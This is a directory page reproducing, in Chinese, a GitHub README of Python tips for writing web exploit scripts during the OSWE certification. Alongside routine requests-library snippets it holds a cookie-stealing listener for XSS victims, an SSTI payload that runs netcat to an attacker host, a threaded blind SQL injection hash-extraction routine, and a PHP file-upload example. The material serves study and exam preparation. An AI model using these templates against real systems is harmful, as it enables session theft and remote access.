Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
exploit-writing-for-oswe — Tips on how to write exploit scripts (faster!) | Kitploit
工具/GitHubGitHub/rizemon/exploit-writing-for-oswe
Scripting & AutomationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationCurated ResourcesPayload Development
GitHubrizemon/exploit-writing-for-oswe

exploit-writing-for-oswe

Tips on how to write exploit scripts (faster!)

查看仓库
5911122年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

OSWE 漏洞利用编写

背景

是什么

本仓库包含一系列与在 OSWE 实验室和认证考试中编写漏洞利用脚本相关的实用代码片段和技巧。

这里的一些示例可能违背某些编码实践,但我们的最终目标是快速且正确地编写漏洞利用脚本。

如果你对使用 requests 库不熟悉,或者刚刚接触 Python,那么 代码片段 部分是一个很好的起点。否则,可以直接跳到 可复用代码 部分或 技巧 部分。

为什么

  • 虽然关于该认证有很多 write-up、评测和笔记,但专门关注漏洞利用编写过程的资源却很少。
  • 编写漏洞利用脚本可能令人生畏,尤其是对于 Python 新手或缺乏通过代码与 Web 应用交互经验的人来说。
  • 识别漏洞和撰写考试报告所花费的时间可能会有很大波动,但如果掌握得当,开发漏洞利用脚本的时间可以最小化并保持稳定。

目录

  • OSWE 漏洞利用编写
    • 背景
      • 是什么
      • 为什么
    • 目录
    • 代码片段
      • 起始模板
      • 有用的导入
      • 使用 requests 库
        • 发送最简单的 HTTP 请求
        • 指定不同的 HTTP 方法
        • 读取 HTTP 响应
        • 在 URL 中以查询字符串形式发送数据(使用 params 参数)
        • 在请求体中以查询字符串形式发送数据(使用 data 参数)
        • 在请求体中发送 JSON 数据(使用 json 参数)
        • 在请求体中发送文件(使用 files 参数)
        • 设置 HTTP 请求头(使用 headers 参数)
        • 设置 HTTP Cookie(使用 cookies 参数)
        • 禁用跟随 3XX 重定向(使用 allow_redirects 参数)
    • 技巧
      • 使用 assert 在每个 HTTP 请求后执行健全性检查
      • 在每个步骤后打印有意义的信息
      • 将每个漏洞利用步骤拆分为单独的函数
      • 创建一个全局的 Session 对象,这样它就不需要显式地传递给每个函数调用
      • 创建一个全局的 BASE_URL 字符串并从它构造所需的 URL
      • 要强制所有 HTTP 请求都通过 Burp Suite,而无需使用 proxies 参数,请在运行时设置 HTTP_PROXY / HTTPS_PROXY 环境变量
      • 应用编码/解码方案以安全地传输 Payload
      • 当 Payload 同时包含单引号(')和双引号(")时,使用 """ 创建 Payload 字符串
      • 使用多线程加速 SQL 注入
      • 在开发针对需要认证功能的漏洞利用时,硬编码已认证用户的 Cookie

代码片段

起始模板

root@kitploit:~
import requests

def main():
    print("Hello World!")

if __name__ == __main__:
    main()

有用的导入

root@kitploit:~
# For sending HTTP requests
import requests

# For Base64 encoding/decoding
from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode

# For getting current time or for calculating time delays
from time import time

# For regular expressions
import re

# For running shell commands
import subprocess

# For multithreading
from concurrent.futures import ThreadPoolExecutor

# For running a HTTP server in the background
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler

# For parsing HTTP cookies
from http import cookies

# For getting command-line arguments
import sys

使用 requests 库

发送最简单的 HTTP 请求

root@kitploit:~
resp_obj = requests.get("https://github.com")

指定不同的 HTTP 方法

root@kitploit:~
# GET method
requests.get("https://github.com")

# POST method
requests.post("https://github.com")

# PUT method
requests.put("https://github.com")

# PATCH method
requests.patch("https://github.com")

# DELETE method
requests.delete("https://github.com")

读取 HTTP 响应

root@kitploit:~
resp_obj = requests.get("https://github.com")

# HTTP status code (e.g 404, 500, 301)
resp_obj.status_code

# HTTP response headers (e.g Location, Content-Disposition)
resp_obj.headers["Location"]

# Body as bytes
resp_obj.content

# Body as a string
resp_obj.text

# Body as a dictionary (if body is a JSON)
resp_obj.json()

在 URL 中以查询字符串形式发送数据(使用 params 参数)

root@kitploit:~
params = {
    "foo": "bar"
}

requests.get("https://github.com", params=params)

在请求体中以查询字符串形式发送数据(使用 data 参数)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", data=data)

在请求体中发送 JSON 数据(使用 json 参数)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", json=data)

在请求体中发送文件(使用 files 参数)

root@kitploit:~
files = {
    #                (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
    "uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
}

requests.post("https://github.com", files=files)

设置 HTTP 请求头(使用 headers 参数)

root@kitploit:~
headers = {
    "X-Forwarded-For": "127.0.0.1"
}

requests.get("https://github.com", headers=headers)

设置 HTTP Cookie(使用 cookies 参数)

root@kitploit:~
cookies = {
    "PHPSESSID": "fakesession"
}

requests.get("https://github.com", cookies=cookies)

禁用跟随 3XX 重定向(使用 allow_redirects 参数)

root@kitploit:~
requests.post("https://github.com/login", allow_redirects=False)

与未验证的 HTTPS 服务器交互(使用 verify 参数)

root@kitploit:~
# Supresses InsecureRequestWarning messages
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

requests.get("https://github.com", verify=False)

通过 HTTP 代理发送请求(使用 proxies 参数)

root@kitploit:~
proxies = {
    "HTTP": "http://127.0.0.1:8080",
    "HTTPS": "http://127.0.0.1:8080"
}

requests.get("https://github.com", proxies=proxies)

创建 Session

root@kitploit:~
session = requests.Session()
session.get("https://github.com")

设置持久化 Cookie

root@kitploit:~
session = requests.Session()
session.cookies.update({"PHPSESSID": "fakesession"})

设置持久化请求头

root@kitploit:~
session = requests.Session()
session.headers["Authorization"] = "Basic 123"

故障排除

使用 Wireshark 并过滤 HTTP 请求

  1. 打开 Wireshark
  2. 选择 VPN 接口(例如 tun0)
  3. 在过滤栏中输入 http。

打印 HTTP 请求的内容

root@kitploit:~
data = {
    "foo": "bar"
}
resp_obj = requests.post("https://github.com", data=data)
prepared_request = resp_obj.request

print("Method:\n", prepared_request.method)
print()
print("URL:\n", prepared_request.url)
print()
print("Headers:\n", prepared_request.headers)
print()
print("Body:\n", prepared_request.body)

通过 Burp Suite 代理 HTTP 请求并检查

  1. 打开 Burp Suite
  2. 导航到“Proxy”选项卡并将“Intercept”设置为“On”。

可复用代码

通过 HTTP 提供文件服务

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000
JS_PAYLOAD = "<script>alert(1)</script>"

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):
        # Uncomment this method to suppress HTTP logs
        # def log_message(self, format, *args):
        #     return

        def do_GET(self):
            if self.path.endswith('/payload.js'):
                self.send_response(200)
                self.send_header("Content-Type", "application/javascript")
                self.send_header("Content-Length", str(len(JS_PAYLOAD)))
                self.end_headers()
                self.wfile.write(JS_PAYLOAD.encode())
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()

窃取 HTTP Cookie

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000

requests = requests.Session()
xss_event = threading.Event() # Signifies when victim sends their cookie

def send_xss_payload():
    pass

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):

        def do_GET(self):
            self.send_response(200)
            self.end_headers()

            # Load stolen cookie into session
            _, enc_cookie = self.path.split("/?cookie=", 1)
            plain_cookie = urlsafe_b64decode(enc_cookie).decode()
            session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]

            xss_event.set() # Trigger the event
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()
send_xss_payload()
xss_event.wait() # Wait for event to be triggered
print("[+] Stolen cookie:", session.cookies["PHPSESSID"])

加速 SQL 注入

root@kitploit:~
MAX_WORKERS = 20
HASH_LENGTH = 32

def exfiltrate_hash():

    def boolean_sqli(arguments):
        idx, ascii_val = arguments
        # ...
        # Perform SQLi and store boolean outcome into truth
        # ...
        return ascii_val, truth

    result = ""

    # Go through each character position
    for idx in range(HASH_LENGTH):

        # Use MAX_WORKERS threads to test possible ASCII values in parallel
        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
            # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
            responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])

        # Go through each response and determine which ASCII value is correct
        for ascii_val, truth in responses:
            if truth:
                result += chr(ascii_val)
                break
    
    return result

hash = exfiltrate_hash()

技巧

使用 assert 在每个 HTTP 请求后执行健全性检查

  • 在尝试触发 webshell 之前,确认 webshell 是否确实已上传
  • 在利用需要认证的功能之前,确认认证是否成功

示例:

root@kitploit:~
# Suppose 302 is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
assert resp_obj.status_code == 302, "Login not successful"

# Suppose admin page is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data)
assert "Admin Dashboard" in resp_obj.content, "Login not successful"

在每个步骤后打印有意义的信息

  • 正在开始/已完成的操作,或者
  • 检索到的 Cookie/令牌/文件/值

示例:

root@kitploit:~
[+] Parsed command-line arguments and got:
  * BASE_URL: http://example.com
  * LHOST:    127.0.0.1
  * LPORT:    1337
[+] Triggered password reset token generation
[=] Getting password reset token length...
[+] Got password reset token length: 10
[=] Retrieving password reset token...
[+] Got password reset token: FAKE_TOKEN

将每个漏洞利用步骤拆分为单独的函数

示例:

root@kitploit:~
def register():
    pass

def login():
    pass

def rce():
    pass

创建一个全局的 Session 对象,这样它就不需要显式地传递给每个函数调用

root@kitploit:~
session = requests.Session()

def login():
    session.post(...)

def rce():
    session.post(...)

创建一个全局的 BASE_URL 字符串并从它构造所需的 URL

root@kitploit:~
BASE_URL = ""
session = requests.Session()

def login():
    url = BASE_URL + "/login"
    session.post(url, ...)

def rce():
    url = BASE_URL + "/rce"
    session.post(url, ...)

def main():
    # Allow BASE_URL to be modified
    global BASE_URL
    BASE_URL = sys.argv[1]
...

要强制所有 HTTP 请求都通过 Burp Suite,而无需使用 proxies 参数,请在运行时设置 HTTP_PROXY / HTTPS_PROXY 环境变量

root@kitploit:~
$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py

应用编码/解码方案以安全地传输 Payload

  • Base64
  • 十六进制

当 Payload 同时包含单引号(')和双引号(")时,使用 """ 创建 Payload 字符串

示例:

root@kitploit:~
payload = """This is a '. This is a "."""

使用多线程加速 SQL 注入

参见 加速 SQL 注入。

在开发针对需要认证功能的漏洞利用时,硬编码已认证用户的 Cookie

尤其是当必须完成许多耗时的步骤才能获得一个已认证的会话时。

示例:

root@kitploit:~
session = requests.Session()

def main():
    # Skipping these for now...
    # register()
    # login()

    # TODO: Delete this line after you are
    # done developing and uncomment the above steps!
    session.cookies["JSESSIONID"] = "ADMIN_COOKIE"

    # Exploit authenticated features...
...

如果 Payload 包含太多花括号({}),避免使用 f-string(f"")或 str.format

仅仅为了转义而将每个花括号翻倍可能会很麻烦且容易出错。相反,可以使用简单的占位符,然后执行 .replace()!

示例:

root@kitploit:~
# Too many curly braces
ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
# Much easier to read
ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
    .replace("<LHOST>", LHOST)\
    .replace("<LPORT>", LPORT)
下载工具
与未验证的 HTTPS 服务器交互(使用 verify 参数)
  • 通过 HTTP 代理发送请求(使用 proxies 参数)
  • 创建 Session
  • 设置持久化 Cookie
  • 设置持久化请求头
  • 故障排除
    • 使用 Wireshark 并过滤 HTTP 请求
    • 打印 HTTP 请求的内容
    • 通过 Burp Suite 代理 HTTP 请求并检查
  • 可复用代码
    • 通过 HTTP 提供文件服务
    • 窃取 HTTP Cookie
    • 加速 SQL 注入
  • 如果 Payload 包含太多花括号({}),避免使用 f-string(f"")或 str.format